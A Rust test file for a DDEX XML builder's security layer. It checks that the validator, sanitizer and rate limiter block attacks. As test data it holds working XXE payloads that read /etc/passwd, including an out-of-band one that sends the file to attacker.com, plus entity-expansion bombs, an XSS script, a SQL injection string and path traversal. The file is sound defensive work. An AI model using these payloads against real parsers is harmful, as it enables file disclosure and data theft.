use super::*;
use ddex_builder::{
builder::DDEXBuilder,
error::BuildError,
security::{InputValidator, SecurityConfig, SecureXmlReader, OutputSanitizer, RateLimiter},
};
use serde_json::json;
use std::io::Cursor;
use std::sync::{Arc, Mutex};
use std::thread;
use std::time::Duration;
#[test]
fn test_complete_xxe_prevention_pipeline() {
let xxe_payloads = generate_xxe_payloads();
for (description, payload) in xxe_payloads {
assert_xxe_blocked(&payload, description);
}
let valid_payloads = generate_valid_xml_payloads();
for (description, payload) in valid_payloads {
assert_valid_xml_allowed(&payload, description);
}
}
#[test]
fn test_security_config_variations() {
let restrictive = restrictive_security_config();
let validator = InputValidator::new(restrictive);
let small_xxe = r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>"#;
assert!(validator.validate_xml_content(small_xxe).is_err());
let large_valid = format!("<root>{}</root>", "A".repeat(20_000));
assert!(validator.validate_xml_content(&large_valid).is_err());
let permissive = permissive_security_config();
let validator = InputValidator::new(permissive);
let large_valid = format!("<root>{}</root>", "A".repeat(50_000));
assert!(validator.validate_xml_content(&large_valid).is_ok());
assert!(validator.validate_xml_content(small_xxe).is_err());
}
#[test]
fn test_concurrent_security() {
let config = test_security_config();
let config = Arc::new(config);
let handles: Vec<_> = (0..10)
.map(|thread_id| {
let config = Arc::clone(&config);
thread::spawn(move || {
let validator = InputValidator::new((*config).clone());
let attacks = vec![
r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#,
r#"<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/hosts">%file;]><test/>"#,
r#"<!DOCTYPE bomb [<!ENTITY a "aa"><!ENTITY b "&a;&a;&a;&a;">]><bomb>&b;</bomb>"#,
];
for (i, attack) in attacks.iter().enumerate() {
let result = validator.validate_xml_content(attack);
assert!(
result.is_err(),
"Thread {} attack {} should be blocked: {:?}",
thread_id, i, result
);
}
let valid = "<root><child>content</child></root>";
assert!(
validator.validate_xml_content(valid).is_ok(),
"Thread {} valid XML should be allowed",
thread_id
);
})
})
.collect();
for handle in handles {
handle.join().expect("Thread should complete successfully");
}
}
#[test]
fn test_rate_limiting_integration() {
let config = SecurityConfig {
rate_limiting_enabled: true,
max_requests_per_minute: 5, ..SecurityConfig::default()
};
let mut limiter = RateLimiter::new(config);
let identifier = "test_user";
for i in 0..5 {
let result = limiter.check_rate_limit(identifier);
assert!(
result.is_ok(),
"Request {} should be allowed: {:?}",
i + 1, result
);
}
let result = limiter.check_rate_limit(identifier);
assert!(
result.is_err(),
"6th request should be rate limited: {:?}",
result
);
let result = limiter.check_rate_limit("different_user");
assert!(result.is_ok(), "Different user should not be rate limited");
}
#[test]
fn test_output_sanitization_pipeline() {
let config = SecurityConfig::default();
let sanitizer = OutputSanitizer::new(config);
let dangerous_outputs = vec![
(
"Script in XML",
r#"<root><script>alert('XSS')</script></root>"#
),
(
"Sensitive data pattern",
r#"<root><password>secret123</password></root>"#
),
(
"Malformed XML",
r#"<root><unclosed>"#
),
(
"Excessive nesting",
&format!("<root>{}</root>",
(0..200).map(|i| format!("<level{}>", i)).collect::<String>() +
"content" +
&(0..200).rev().map(|i| format!("</level{}>", i)).collect::<String>()
)
),
];
for (description, output) in dangerous_outputs {
let result = sanitizer.sanitize_xml_output(output);
assert!(
result.is_err(),
"{} should be rejected by output sanitizer: {:?}",
description, result
);
}
let safe_outputs = vec![
(
"Simple valid XML",
r#"<root><child>safe content</child></root>"#
),
(
"XML with escaped entities",
r#"<root><content> & "quotes"</root>"#
),
(
"DDEX structure",
r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43"><ddex:MessageHeader><ddex:MessageId>MSG123</ddex:MessageId></ddex:MessageHeader></ddex:NewReleaseMessage>"#
),
];
for (description, output) in safe_outputs {
let result = sanitizer.sanitize_xml_output(output);
assert!(
result.is_ok(),
"{} should be allowed by output sanitizer: {:?}",
description, result
);
}
}
#[test]
fn test_secure_error_handling() {
let config = test_security_config();
let validator = InputValidator::new(config);
let xxe_attack = r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#;
match validator.validate_xml_content(xxe_attack) {
Err(BuildError::Security(msg)) => {
assert!(!msg.contains("/etc/passwd"));
assert!(!msg.contains("file://"));
assert!(!msg.contains("system"));
assert!(msg.to_lowercase().contains("dtd") ||
msg.to_lowercase().contains("entity") ||
msg.to_lowercase().contains("external") ||
msg.to_lowercase().contains("dangerous"));
}
other => panic!("Expected security error, got: {:?}", other),
}
match validator.validate_path("../../../etc/passwd") {
Err(BuildError::InputSanitization(msg)) => {
assert!(!msg.contains("/etc/passwd"));
assert!(msg.to_lowercase().contains("path") || msg.to_lowercase().contains("traversal"));
}
other => panic!("Expected input sanitization error, got: {:?}", other),
}
}
#[test]
fn test_memory_safety_under_attack() {
let config = SecurityConfig {
max_xml_size: 100_000, max_xml_depth: 50,
max_child_elements: 1000,
..SecurityConfig::default()
};
let validator = InputValidator::new(config.clone());
let large_xml = format!("<root>{}</root>", "A".repeat(200_000));
let result = validator.validate_xml_content(&large_xml);
assert!(result.is_err(), "Large XML should be rejected");
let mut deep_xml = String::from("<root>");
for i in 0..100 {
deep_xml.push_str(&format!("<level{}>", i));
}
deep_xml.push_str("content");
for i in (0..100).rev() {
deep_xml.push_str(&format!("</level{}>", i));
}
deep_xml.push_str("</root>");
let result = validator.validate_xml_content(&deep_xml);
assert!(result.is_err(), "Deep XML should be rejected");
let cursor = Cursor::new(deep_xml.as_bytes());
let mut reader = SecureXmlReader::new(cursor, config);
let mut buf = Vec::new();
let mut events_processed = 0;
loop {
if events_processed > 1000 {
panic!("Too many events processed, depth limit not working");
}
match reader.read_event(&mut buf) {
Ok(quick_xml::events::Event::Eof) => break,
Ok(_) => {
events_processed += 1;
buf.clear();
}
Err(BuildError::Security(_)) => {
return;
}
Err(e) => panic!("Unexpected error: {:?}", e),
}
}
}
#[test]
fn test_performance_under_attack() {
use std::time::Instant;
let config = test_security_config();
let validator = InputValidator::new(config);
let valid_xml = r#"<root><child>normal content</child></root>"#;
let start = Instant::now();
for _ in 0..100 {
let _ = validator.validate_xml_content(valid_xml);
}
let baseline_duration = start.elapsed();
let xxe_attack = r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#;
let start = Instant::now();
for _ in 0..100 {
let _ = validator.validate_xml_content(xxe_attack);
}
let attack_duration = start.elapsed();
assert!(
attack_duration < baseline_duration * 10,
"Attack processing too slow: {:?} vs baseline {:?}",
attack_duration, baseline_duration
);
}
#[test]
fn test_secure_logging() {
let config = SecurityConfig::default();
let sanitizer = OutputSanitizer::new(config);
let sensitive_operations = vec![
("BUILD", "file:///etc/passwd"),
("PARSE", "http://attacker.com/steal?data=secret"),
("VALIDATE", "password=admin123 token=abc"),
("PROCESS", "api_key=xyz789 secret=topsecret"),
];
for (operation, sensitive_detail) in sensitive_operations {
let log_msg = sanitizer.create_secure_log_message(operation, false, Some(sensitive_detail));
assert!(!log_msg.contains("passwd"));
assert!(!log_msg.contains("admin123"));
assert!(!log_msg.contains("abc"));
assert!(!log_msg.contains("xyz789"));
assert!(!log_msg.contains("topsecret"));
assert!(!log_msg.contains("attacker.com"));
assert!(log_msg.contains(operation));
assert!(log_msg.contains("FAILED"));
if log_msg.contains("REDACTED") {
} else {
assert!(!log_msg.contains("="), "Log should not contain key=value pairs with sensitive data");
}
}
}
#[test]
fn test_security_config_validation() {
let configs_to_test = vec![
SecurityConfig {
max_xml_size: 0, ..SecurityConfig::default()
},
SecurityConfig {
max_xml_depth: 0, ..SecurityConfig::default()
},
SecurityConfig {
max_requests_per_minute: 0, rate_limiting_enabled: true,
..SecurityConfig::default()
},
];
for config in configs_to_test {
let validator = InputValidator::new(config);
let result = validator.validate_string("test", "test_field");
match result {
Ok(_) => {}, Err(_) => {}, }
}
}
#[test]
fn test_security_incident_recovery() {
let config = SecurityConfig::default();
let validator = InputValidator::new(config);
let attacks = vec![
r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#,
r#"<!DOCTYPE bomb [<!ENTITY a "aa"><!ENTITY b "&a;&a;&a;&a;">]><bomb>&b;</bomb>"#,
r#"<root><script>alert('XSS')</script></root>"#,
"'; DROP TABLE users; --",
];
for attack in &attacks {
let result = if attack.starts_with('<') {
validator.validate_xml_content(attack)
} else {
validator.validate_string(attack, "test_field")
};
assert!(result.is_err(), "Attack should be blocked: {}", attack);
}
let valid_xml = r#"<root><child>normal content</child></root>"#;
let result = validator.validate_xml_content(valid_xml);
assert!(result.is_ok(), "Valid content should work after attacks: {:?}", result);
let valid_string = "Normal string content";
let result = validator.validate_string(valid_string, "normal_field");
assert!(result.is_ok(), "Valid string should work after attacks: {:?}", result);
}
#[test]
fn test_comprehensive_attack_simulation() {
let config = test_security_config();
let attack_vectors = vec![
("XXE File", r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>"#),
("XXE HTTP", r#"<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://attacker.com/evil.xml">]><root>&xxe;</root>"#),
("Billion Laughs", r#"<!DOCTYPE bomb [<!ENTITY a "aa"><!ENTITY b "&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;">]><bomb>&c;</bomb>"#),
("Quadratic Blowup", &format!("<!DOCTYPE bomb [<!ENTITY big \"{}\">]><bomb>{}</bomb>", "A".repeat(1000), "&big;".repeat(100))),
("Param Entity", r#"<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd">%file;]><test/>"#),
("OOB Exfil", r#"<!DOCTYPE test [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % send SYSTEM 'http://attacker.com/?%file;'>">%eval;%send;]><test/>"#),
];
for (name, attack) in attack_vectors {
assert_xxe_blocked(attack, name);
}
let normal_operations = vec![
("Valid XML", r#"<root><child>content</child></root>"#),
("DDEX XML", r#"<ddex:NewReleaseMessage xmlns:ddex="http://ddex.net/xml/ern/43"><ddex:MessageHeader><ddex:MessageId>MSG123</ddex:MessageId></ddex:MessageHeader></ddex:NewReleaseMessage>"#),
("XML with attributes", r#"<root id="123"><child attr="value">content</child></root>"#),
];
for (name, xml) in normal_operations {
assert_valid_xml_allowed(xml, name);
}
}
#[test]
fn test_security_edge_cases() {
let config = test_security_config();
let validator = InputValidator::new(config);
assert!(validator.validate_xml_content("").is_err());
assert!(validator.validate_string("", "empty").is_ok());
assert!(validator.validate_xml_content("a").is_err()); assert!(validator.validate_string("a", "single").is_ok());
assert!(validator.validate_xml_content(" ").is_err()); assert!(validator.validate_string(" ", "whitespace").is_ok());
let at_limit = "A".repeat(config.max_string_size);
let over_limit = "A".repeat(config.max_string_size + 1);
assert!(validator.validate_string(&at_limit, "at_limit").is_ok());
assert!(validator.validate_string(&over_limit, "over_limit").is_err());
let unicode_tests = vec![
("\u{0000}", "null_byte", false), ("\u{FEFF}", "bom", true), ("\u{200B}", "zero_width_space", true), ("🎵", "emoji", true), ];
for (input, description, should_pass) in unicode_tests {
let result = validator.validate_string(input, description);
if should_pass {
assert!(result.is_ok(), "{} should be allowed: {:?}", description, result);
} else {
assert!(result.is_err(), "{} should be rejected: {:?}", description, result);
}
}
}